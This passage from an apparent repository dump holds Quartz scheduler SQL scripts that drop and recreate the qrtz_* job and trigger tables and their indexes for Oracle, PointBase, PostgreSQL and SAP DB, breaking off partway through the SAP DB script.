    "content": "--\n-- A hint submitted by a user: Oracle DB MUST be created as \"shared\" and the \n-- job_queue_processes parameter  must be greater than 2\n-- However, these settings are pretty much standard after any\n-- Oracle install, so most users need not worry about this.\n--\n-- Many other users (including the primary author of Quartz) have had success\n-- runing in dedicated mode, so only consider the above as a hint ;-)\n--\n\ndelete from qrtz_fired_triggers;\ndelete from qrtz_simple_triggers;\ndelete from qrtz_simprop_triggers;\ndelete from qrtz_cron_triggers;\ndelete from qrtz_blob_triggers;\ndelete from qrtz_triggers;\ndelete from qrtz_job_details;\ndelete from qrtz_calendars;\ndelete from qrtz_paused_trigger_grps;\ndelete from qrtz_locks;\ndelete from qrtz_scheduler_state;\n\ndrop table qrtz_calendars;\ndrop table qrtz_fired_triggers;\ndrop table qrtz_blob_triggers;\ndrop table qrtz_cron_triggers;\ndrop table qrtz_simple_triggers;\ndrop table qrtz_simprop_triggers;\ndrop table qrtz_triggers;\ndrop table qrtz_job_details;\ndrop table qrtz_paused_trigger_grps;\ndrop table qrtz_locks;\ndrop table qrtz_scheduler_state;\n\n\nCREATE TABLE qrtz_job_details\n  (\n    SCHED_NAME VARCHAR2(120) NOT NULL,\n    JOB_NAME  VARCHAR2(200) NOT NULL,\n    JOB_GROUP VARCHAR2(200) NOT NULL,\n    DESCRIPTION VARCHAR2(250) NULL,\n    JOB_CLASS_NAME   VARCHAR2(250) NOT NULL, \n    IS_DURABLE VARCHAR2(1) NOT NULL,\n    IS_NONCONCURRENT VARCHAR2(1) NOT NULL,\n    IS_UPDATE_DATA VARCHAR2(1) NOT NULL,\n    REQUESTS_RECOVERY VARCHAR2(1) NOT NULL,\n    JOB_DATA BLOB NULL,\n    CONSTRAINT QRTZ_JOB_DETAILS_PK PRIMARY KEY (SCHED_NAME,JOB_NAME,JOB_GROUP)\n);\nCREATE TABLE qrtz_triggers\n  (\n    SCHED_NAME VARCHAR2(120) NOT NULL,\n    TRIGGER_NAME VARCHAR2(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR2(200) NOT NULL,\n    JOB_NAME  VARCHAR2(200) NOT NULL, \n    JOB_GROUP VARCHAR2(200) NOT NULL,\n    DESCRIPTION VARCHAR2(250) NULL,\n    NEXT_FIRE_TIME NUMBER(13) NULL,\n    PREV_FIRE_TIME NUMBER(13) NULL,\n    PRIORITY NUMBER(13) NULL,\n    TRIGGER_STATE VARCHAR2(16) NOT NULL,\n    TRIGGER_TYPE VARCHAR2(8) NOT NULL,\n    START_TIME NUMBER(13) NOT NULL,\n    END_TIME NUMBER(13) NULL,\n    CALENDAR_NAME VARCHAR2(200) NULL,\n    MISFIRE_INSTR NUMBER(2) NULL,\n    JOB_DATA BLOB NULL,\n    CONSTRAINT QRTZ_TRIGGERS_PK PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    CONSTRAINT QRTZ_TRIGGER_TO_JOBS_FK FOREIGN KEY (SCHED_NAME,JOB_NAME,JOB_GROUP) \n      REFERENCES QRTZ_JOB_DETAILS(SCHED_NAME,JOB_NAME,JOB_GROUP) \n);\nCREATE TABLE qrtz_simple_triggers\n  (\n    SCHED_NAME VARCHAR2(120) NOT NULL,\n    TRIGGER_NAME VARCHAR2(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR2(200) NOT NULL,\n    REPEAT_COUNT NUMBER(7) NOT NULL,\n    REPEAT_INTERVAL NUMBER(12) NOT NULL,\n    TIMES_TRIGGERED NUMBER(10) NOT NULL,\n    CONSTRAINT QRTZ_SIMPLE_TRIG_PK PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    CONSTRAINT QRTZ_SIMPLE_TRIG_TO_TRIG_FK FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n\tREFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\nCREATE TABLE qrtz_cron_triggers\n  (\n    SCHED_NAME VARCHAR2(120) NOT NULL,\n    TRIGGER_NAME VARCHAR2(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR2(200) NOT NULL,\n    CRON_EXPRESSION VARCHAR2(120) NOT NULL,\n    TIME_ZONE_ID VARCHAR2(80),\n    CONSTRAINT QRTZ_CRON_TRIG_PK PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    CONSTRAINT QRTZ_CRON_TRIG_TO_TRIG_FK FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n      REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\nCREATE TABLE qrtz_simprop_triggers\n  (          \n    SCHED_NAME VARCHAR2(120) NOT NULL,\n    TRIGGER_NAME VARCHAR2(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR2(200) NOT NULL,\n    STR_PROP_1 VARCHAR2(512) NULL,\n    STR_PROP_2 VARCHAR2(512) NULL,\n    STR_PROP_3 VARCHAR2(512) NULL,\n    INT_PROP_1 NUMBER(10) NULL,\n    INT_PROP_2 NUMBER(10) NULL,\n    LONG_PROP_1 NUMBER(13) NULL,\n    LONG_PROP_2 NUMBER(13) NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 VARCHAR2(1) NULL,\n    BOOL_PROP_2 VARCHAR2(1) NULL,\n    CONSTRAINT QRTZ_SIMPROP_TRIG_PK PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    CONSTRAINT QRTZ_SIMPROP_TRIG_TO_TRIG_FK FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n      REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\nCREATE TABLE qrtz_blob_triggers\n  (\n    SCHED_NAME VARCHAR2(120) NOT NULL,\n    TRIGGER_NAME VARCHAR2(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR2(200) NOT NULL,\n    BLOB_DATA BLOB NULL,\n    CONSTRAINT QRTZ_BLOB_TRIG_PK PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    CONSTRAINT QRTZ_BLOB_TRIG_TO_TRIG_FK FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n        REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\nCREATE TABLE qrtz_calendars\n  (\n    SCHED_NAME VARCHAR2(120) NOT NULL,\n    CALENDAR_NAME  VARCHAR2(200) NOT NULL, \n    CALENDAR BLOB NOT NULL,\n    CONSTRAINT QRTZ_CALENDARS_PK PRIMARY KEY (SCHED_NAME,CALENDAR_NAME)\n);\nCREATE TABLE qrtz_paused_trigger_grps\n  (\n    SCHED_NAME VARCHAR2(120) NOT NULL,\n    TRIGGER_GROUP  VARCHAR2(200) NOT NULL, \n    CONSTRAINT QRTZ_PAUSED_TRIG_GRPS_PK PRIMARY KEY (SCHED_NAME,TRIGGER_GROUP)\n);\nCREATE TABLE qrtz_fired_triggers \n  (\n    SCHED_NAME VARCHAR2(120) NOT NULL,\n    ENTRY_ID VARCHAR2(95) NOT NULL,\n    TRIGGER_NAME VARCHAR2(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR2(200) NOT NULL,\n    INSTANCE_NAME VARCHAR2(200) NOT NULL,\n    FIRED_TIME NUMBER(13) NOT NULL,\n    SCHED_TIME NUMBER(13) NOT NULL,\n    PRIORITY NUMBER(13) NOT NULL,\n    STATE VARCHAR2(16) NOT NULL,\n    JOB_NAME VARCHAR2(200) NULL,\n    JOB_GROUP VARCHAR2(200) NULL,\n    IS_NONCONCURRENT VARCHAR2(1) NULL,\n    REQUESTS_RECOVERY VARCHAR2(1) NULL,\n    CONSTRAINT QRTZ_FIRED_TRIGGER_PK PRIMARY KEY (SCHED_NAME,ENTRY_ID)\n);\nCREATE TABLE qrtz_scheduler_state \n  (\n    SCHED_NAME VARCHAR2(120) NOT NULL,\n    INSTANCE_NAME VARCHAR2(200) NOT NULL,\n    LAST_CHECKIN_TIME NUMBER(13) NOT NULL,\n    CHECKIN_INTERVAL NUMBER(13) NOT NULL,\n    CONSTRAINT QRTZ_SCHEDULER_STATE_PK PRIMARY KEY (SCHED_NAME,INSTANCE_NAME)\n);\nCREATE TABLE qrtz_locks\n  (\n    SCHED_NAME VARCHAR2(120) NOT NULL,\n    LOCK_NAME  VARCHAR2(40) NOT NULL, \n    CONSTRAINT QRTZ_LOCKS_PK PRIMARY KEY (SCHED_NAME,LOCK_NAME)\n);\n\ncreate index idx_qrtz_j_req_recovery on qrtz_job_details(SCHED_NAME,REQUESTS_RECOVERY);\ncreate index idx_qrtz_j_grp on qrtz_job_details(SCHED_NAME,JOB_GROUP);\n\ncreate index idx_qrtz_t_j on qrtz_triggers(SCHED_NAME,JOB_NAME,JOB_GROUP);\ncreate index idx_qrtz_t_jg on qrtz_triggers(SCHED_NAME,JOB_GROUP);\ncreate index idx_qrtz_t_c on qrtz_triggers(SCHED_NAME,CALENDAR_NAME);\ncreate index idx_qrtz_t_g on qrtz_triggers(SCHED_NAME,TRIGGER_GROUP);\ncreate index idx_qrtz_t_state on qrtz_triggers(SCHED_NAME,TRIGGER_STATE);\ncreate index idx_qrtz_t_n_state on qrtz_triggers(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP,TRIGGER_STATE);\ncreate index idx_qrtz_t_n_g_state on qrtz_triggers(SCHED_NAME,TRIGGER_GROUP,TRIGGER_STATE);\ncreate index idx_qrtz_t_next_fire_time on qrtz_triggers(SCHED_NAME,NEXT_FIRE_TIME);\ncreate index idx_qrtz_t_nft_st on qrtz_triggers(SCHED_NAME,TRIGGER_STATE,NEXT_FIRE_TIME);\ncreate index idx_qrtz_t_nft_misfire on qrtz_triggers(SCHED_NAME,MISFIRE_INSTR,NEXT_FIRE_TIME);\ncreate index idx_qrtz_t_nft_st_misfire on qrtz_triggers(SCHED_NAME,MISFIRE_INSTR,NEXT_FIRE_TIME,TRIGGER_STATE);\ncreate index idx_qrtz_t_nft_st_misfire_grp on qrtz_triggers(SCHED_NAME,MISFIRE_INSTR,NEXT_FIRE_TIME,TRIGGER_GROUP,TRIGGER_STATE);\n\ncreate index idx_qrtz_ft_trig_inst_name on qrtz_fired_triggers(SCHED_NAME,INSTANCE_NAME);\ncreate index idx_qrtz_ft_inst_job_req_rcvry on qrtz_fired_triggers(SCHED_NAME,INSTANCE_NAME,REQUESTS_RECOVERY);\ncreate index idx_qrtz_ft_j_g on qrtz_fired_triggers(SCHED_NAME,JOB_NAME,JOB_GROUP);\ncreate index idx_qrtz_ft_jg on qrtz_fired_triggers(SCHED_NAME,JOB_GROUP);\ncreate index idx_qrtz_ft_t_g on qrtz_fired_triggers(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP);\ncreate index idx_qrtz_ft_tg on qrtz_fired_triggers(SCHED_NAME,TRIGGER_GROUP);\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_pointbase.sql",
    "content": "#\n# Thanks to Gregg Freeman\n#\n#\n# ...you may want to change defined the size of the \"blob\" columns before\n# creating the tables (particularly for the qrtz_job_details.job_data column), \n# if you will be storing large amounts of data in them\n#\n#\ndelete from qrtz_fired_triggers;\ndelete from qrtz_simple_triggers;\ndelete from qrtz_simprop_triggers;\ndelete from qrtz_cron_triggers;\ndelete from qrtz_blob_triggers;\ndelete from qrtz_triggers;\ndelete from qrtz_job_details;\ndelete from qrtz_calendars;\ndelete from qrtz_paused_trigger_grps;\ndelete from qrtz_locks;\ndelete from qrtz_scheduler_state;\n\ndrop table qrtz_calendars;\ndrop table qrtz_fired_triggers;\ndrop table qrtz_blob_triggers;\ndrop table qrtz_cron_triggers;\ndrop table qrtz_simple_triggers;\ndrop table qrtz_simprop_triggers;\ndrop table qrtz_triggers;\ndrop table qrtz_job_details;\ndrop table qrtz_paused_trigger_grps;\ndrop table qrtz_locks;\ndrop table qrtz_scheduler_state;\n \n\nCREATE TABLE qrtz_job_details\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    JOB_NAME  VARCHAR2(80) NOT NULL,\n    JOB_GROUP VARCHAR2(80) NOT NULL,\n    DESCRIPTION VARCHAR2(120) NULL,\n    JOB_CLASS_NAME   VARCHAR2(128) NOT NULL, \n    IS_DURABLE BOOLEAN NOT NULL,\n    IS_NONCONCURRENT BOOLEAN NOT NULL,\n    IS_UPDATE_DATA BOOLEAN NOT NULL,\n    REQUESTS_RECOVERY BOOLEAN NOT NULL,\n    JOB_DATA BLOB(4K) NULL,\n    PRIMARY KEY (SCHED_NAME,JOB_NAME,JOB_GROUP)\n);\n\nCREATE TABLE qrtz_triggers\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR2(80) NOT NULL,\n    TRIGGER_GROUP VARCHAR2(80) NOT NULL,\n    JOB_NAME  VARCHAR2(80) NOT NULL, \n    JOB_GROUP VARCHAR2(80) NOT NULL,\n    DESCRIPTION VARCHAR2(120) NULL,\n    NEXT_FIRE_TIME NUMBER(13) NULL,\n    PREV_FIRE_TIME NUMBER(13) NULL,\n    PRIORITY NUMBER(13) NULL,\n    TRIGGER_STATE VARCHAR2(16) NOT NULL,\n    TRIGGER_TYPE VARCHAR2(8) NOT NULL,\n    START_TIME NUMBER(13) NOT NULL,\n    END_TIME NUMBER(13) NULL,\n    CALENDAR_NAME VARCHAR2(80) NULL,\n    MISFIRE_INSTR NUMBER(2) NULL,\n    JOB_DATA BLOB(4K) NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,JOB_NAME,JOB_GROUP) \n\tREFERENCES QRTZ_JOB_DETAILS(SCHED_NAME,JOB_NAME,JOB_GROUP) \n);\n\nCREATE TABLE qrtz_simple_triggers\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR2(80) NOT NULL,\n    TRIGGER_GROUP VARCHAR2(80) NOT NULL,\n    REPEAT_COUNT NUMBER(7) NOT NULL,\n    REPEAT_INTERVAL NUMBER(12) NOT NULL,\n    TIMES_TRIGGERED NUMBER(10) NOT NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n\tREFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\n\nCREATE TABLE qrtz_simprop_triggers\n  (          \n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512) NULL,\n    STR_PROP_2 VARCHAR(512) NULL,\n    STR_PROP_3 VARCHAR(512) NULL,\n    INT_PROP_1 NUMBER(10) NULL,\n    INT_PROP_2 NUMBER(10) NULL,\n    LONG_PROP_1 NUMBER(13) NULL,\n    LONG_PROP_2 NUMBER(13) NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 BOOLEAN NULL,\n    BOOL_PROP_2 BOOLEAN NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n    REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_cron_triggers\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR2(80) NOT NULL,\n    TRIGGER_GROUP VARCHAR2(80) NOT NULL,\n    CRON_EXPRESSION VARCHAR2(120) NOT NULL,\n    TIME_ZONE_ID VARCHAR2(80),\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n\tREFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_blob_triggers\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR2(80) NOT NULL,\n    TRIGGER_GROUP VARCHAR2(80) NOT NULL,\n    BLOB_DATA BLOB(4K) NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n        REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_calendars\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    CALENDAR_NAME  VARCHAR2(80) NOT NULL, \n    CALENDAR BLOB(4K) NOT NULL,\n    PRIMARY KEY (SCHED_NAME,CALENDAR_NAME)\n);\n\nCREATE TABLE qrtz_paused_trigger_grps\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_GROUP  VARCHAR2(80) NOT NULL, \n    PRIMARY KEY (SCHED_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_fired_triggers \n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    ENTRY_ID VARCHAR2(95) NOT NULL,\n    TRIGGER_NAME VARCHAR2(80) NOT NULL,\n    TRIGGER_GROUP VARCHAR2(80) NOT NULL,\n    INSTANCE_NAME VARCHAR2(80) NOT NULL,\n    FIRED_TIME NUMBER(13) NOT NULL,\n    SCHED_TIME NUMBER(13) NOT NULL,\n    PRIORITY NUMBER(13) NOT NULL,\n    STATE VARCHAR2(16) NOT NULL,\n    JOB_NAME VARCHAR2(80) NULL,\n    JOB_GROUP VARCHAR2(80) NULL,\n    IS_NONCONCURRENT BOOLEAN NULL,\n    REQUESTS_RECOVERY BOOLEAN NULL,\n    PRIMARY KEY (SCHED_NAME,ENTRY_ID)\n);\n\nCREATE TABLE qrtz_scheduler_state \n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    INSTANCE_NAME VARCHAR2(80) NOT NULL,\n    LAST_CHECKIN_TIME NUMBER(13) NOT NULL,\n    CHECKIN_INTERVAL NUMBER(13) NOT NULL,\n    PRIMARY KEY (SCHED_NAME,INSTANCE_NAME)\n);\n\nCREATE TABLE qrtz_locks\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    LOCK_NAME  VARCHAR2(40) NOT NULL, \n    PRIMARY KEY (SCHED_NAME,LOCK_NAME)\n);\n\ncommit;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_postgres.sql",
    "content": "-- Thanks to Patrick Lightbody for submitting this...\n--\n-- In your Quartz properties file, you'll need to set \n-- org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.PostgreSQLDelegate\n\ndrop table qrtz_fired_triggers;\nDROP TABLE QRTZ_PAUSED_TRIGGER_GRPS;\nDROP TABLE QRTZ_SCHEDULER_STATE;\nDROP TABLE QRTZ_LOCKS;\ndrop table qrtz_simple_triggers;\ndrop table qrtz_cron_triggers;\ndrop table qrtz_simprop_triggers;\nDROP TABLE QRTZ_BLOB_TRIGGERS;\ndrop table qrtz_triggers;\ndrop table qrtz_job_details;\ndrop table qrtz_calendars;\n\nCREATE TABLE qrtz_job_details\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    JOB_NAME  VARCHAR(200) NOT NULL,\n    JOB_GROUP VARCHAR(200) NOT NULL,\n    DESCRIPTION VARCHAR(250) NULL,\n    JOB_CLASS_NAME   VARCHAR(250) NOT NULL, \n    IS_DURABLE BOOL NOT NULL,\n    IS_NONCONCURRENT BOOL NOT NULL,\n    IS_UPDATE_DATA BOOL NOT NULL,\n    REQUESTS_RECOVERY BOOL NOT NULL,\n    JOB_DATA BYTEA NULL,\n    PRIMARY KEY (SCHED_NAME,JOB_NAME,JOB_GROUP)\n);\n\nCREATE TABLE qrtz_triggers\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    JOB_NAME  VARCHAR(200) NOT NULL, \n    JOB_GROUP VARCHAR(200) NOT NULL,\n    DESCRIPTION VARCHAR(250) NULL,\n    NEXT_FIRE_TIME BIGINT NULL,\n    PREV_FIRE_TIME BIGINT NULL,\n    PRIORITY INTEGER NULL,\n    TRIGGER_STATE VARCHAR(16) NOT NULL,\n    TRIGGER_TYPE VARCHAR(8) NOT NULL,\n    START_TIME BIGINT NOT NULL,\n    END_TIME BIGINT NULL,\n    CALENDAR_NAME VARCHAR(200) NULL,\n    MISFIRE_INSTR SMALLINT NULL,\n    JOB_DATA BYTEA NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,JOB_NAME,JOB_GROUP) \n\tREFERENCES QRTZ_JOB_DETAILS(SCHED_NAME,JOB_NAME,JOB_GROUP) \n);\n\nCREATE TABLE qrtz_simple_triggers\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    REPEAT_COUNT BIGINT NOT NULL,\n    REPEAT_INTERVAL BIGINT NOT NULL,\n    TIMES_TRIGGERED BIGINT NOT NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n\tREFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_cron_triggers\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    CRON_EXPRESSION VARCHAR(120) NOT NULL,\n    TIME_ZONE_ID VARCHAR(80),\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n\tREFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_simprop_triggers\n  (          \n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512) NULL,\n    STR_PROP_2 VARCHAR(512) NULL,\n    STR_PROP_3 VARCHAR(512) NULL,\n    INT_PROP_1 INT NULL,\n    INT_PROP_2 INT NULL,\n    LONG_PROP_1 BIGINT NULL,\n    LONG_PROP_2 BIGINT NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 BOOL NULL,\n    BOOL_PROP_2 BOOL NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n    REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_blob_triggers\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    BLOB_DATA BYTEA NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n        REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_calendars\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    CALENDAR_NAME  VARCHAR(200) NOT NULL, \n    CALENDAR BYTEA NOT NULL,\n    PRIMARY KEY (SCHED_NAME,CALENDAR_NAME)\n);\n\n\nCREATE TABLE qrtz_paused_trigger_grps\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_GROUP  VARCHAR(200) NOT NULL, \n    PRIMARY KEY (SCHED_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_fired_triggers \n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    ENTRY_ID VARCHAR(95) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    INSTANCE_NAME VARCHAR(200) NOT NULL,\n    FIRED_TIME BIGINT NOT NULL,\n    SCHED_TIME BIGINT NOT NULL,\n    PRIORITY INTEGER NOT NULL,\n    STATE VARCHAR(16) NOT NULL,\n    JOB_NAME VARCHAR(200) NULL,\n    JOB_GROUP VARCHAR(200) NULL,\n    IS_NONCONCURRENT BOOL NULL,\n    REQUESTS_RECOVERY BOOL NULL,\n    PRIMARY KEY (SCHED_NAME,ENTRY_ID)\n);\n\nCREATE TABLE qrtz_scheduler_state \n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    INSTANCE_NAME VARCHAR(200) NOT NULL,\n    LAST_CHECKIN_TIME BIGINT NOT NULL,\n    CHECKIN_INTERVAL BIGINT NOT NULL,\n    PRIMARY KEY (SCHED_NAME,INSTANCE_NAME)\n);\n\nCREATE TABLE qrtz_locks\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    LOCK_NAME  VARCHAR(40) NOT NULL, \n    PRIMARY KEY (SCHED_NAME,LOCK_NAME)\n);\n\ncreate index idx_qrtz_j_req_recovery on qrtz_job_details(SCHED_NAME,REQUESTS_RECOVERY);\ncreate index idx_qrtz_j_grp on qrtz_job_details(SCHED_NAME,JOB_GROUP);\n\ncreate index idx_qrtz_t_j on qrtz_triggers(SCHED_NAME,JOB_NAME,JOB_GROUP);\ncreate index idx_qrtz_t_jg on qrtz_triggers(SCHED_NAME,JOB_GROUP);\ncreate index idx_qrtz_t_c on qrtz_triggers(SCHED_NAME,CALENDAR_NAME);\ncreate index idx_qrtz_t_g on qrtz_triggers(SCHED_NAME,TRIGGER_GROUP);\ncreate index idx_qrtz_t_state on qrtz_triggers(SCHED_NAME,TRIGGER_STATE);\ncreate index idx_qrtz_t_n_state on qrtz_triggers(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP,TRIGGER_STATE);\ncreate index idx_qrtz_t_n_g_state on qrtz_triggers(SCHED_NAME,TRIGGER_GROUP,TRIGGER_STATE);\ncreate index idx_qrtz_t_next_fire_time on qrtz_triggers(SCHED_NAME,NEXT_FIRE_TIME);\ncreate index idx_qrtz_t_nft_st on qrtz_triggers(SCHED_NAME,TRIGGER_STATE,NEXT_FIRE_TIME);\ncreate index idx_qrtz_t_nft_misfire on qrtz_triggers(SCHED_NAME,MISFIRE_INSTR,NEXT_FIRE_TIME);\ncreate index idx_qrtz_t_nft_st_misfire on qrtz_triggers(SCHED_NAME,MISFIRE_INSTR,NEXT_FIRE_TIME,TRIGGER_STATE);\ncreate index idx_qrtz_t_nft_st_misfire_grp on qrtz_triggers(SCHED_NAME,MISFIRE_INSTR,NEXT_FIRE_TIME,TRIGGER_GROUP,TRIGGER_STATE);\n\ncreate index idx_qrtz_ft_trig_inst_name on qrtz_fired_triggers(SCHED_NAME,INSTANCE_NAME);\ncreate index idx_qrtz_ft_inst_job_req_rcvry on qrtz_fired_triggers(SCHED_NAME,INSTANCE_NAME,REQUESTS_RECOVERY);\ncreate index idx_qrtz_ft_j_g on qrtz_fired_triggers(SCHED_NAME,JOB_NAME,JOB_GROUP);\ncreate index idx_qrtz_ft_jg on qrtz_fired_triggers(SCHED_NAME,JOB_GROUP);\ncreate index idx_qrtz_ft_t_g on qrtz_fired_triggers(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP);\ncreate index idx_qrtz_ft_tg on qrtz_fired_triggers(SCHED_NAME,TRIGGER_GROUP);\n\n\ncommit;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_sapdb.sql",
    "content": "#\n# Thanks to Andrew Perepelytsya for submitting this file.\n#\n# In your Quartz properties file, you'll need to set \n# org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.StdJDBCDelegate\n#\n\nCREATE TABLE QRTZ_JOB_DETAILS\n(\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    JOB_NAME  VARCHAR(200) NOT NULL,\n    JOB_GROUP VARCHAR(200) NOT NULL,\n    DESCRIPTION VARCHAR(250) NULL,\n    JOB_CLASS_NAME VARCHAR(128) NOT NULL, \n    IS_DURABLE VARCHAR(1) NOT NULL,\n    IS_NONCONCURRENT VARCHAR(1) NOT NULL,\n    IS_UPDATE_DATA VARCHAR(1) NOT NULL,\n    REQUESTS_RECOVERY VARCHAR(1) NOT NULL,\n    JOB_DATA LONG BYTE NULL,\n    PRIMARY KEY (SCHED_NAME,JOB_NAME,JOB_GROUP)\n);\n\nCREATE TABLE QRTZ_TRIGGERS\n(\n    SCHED_NAME VARCHAR(120) 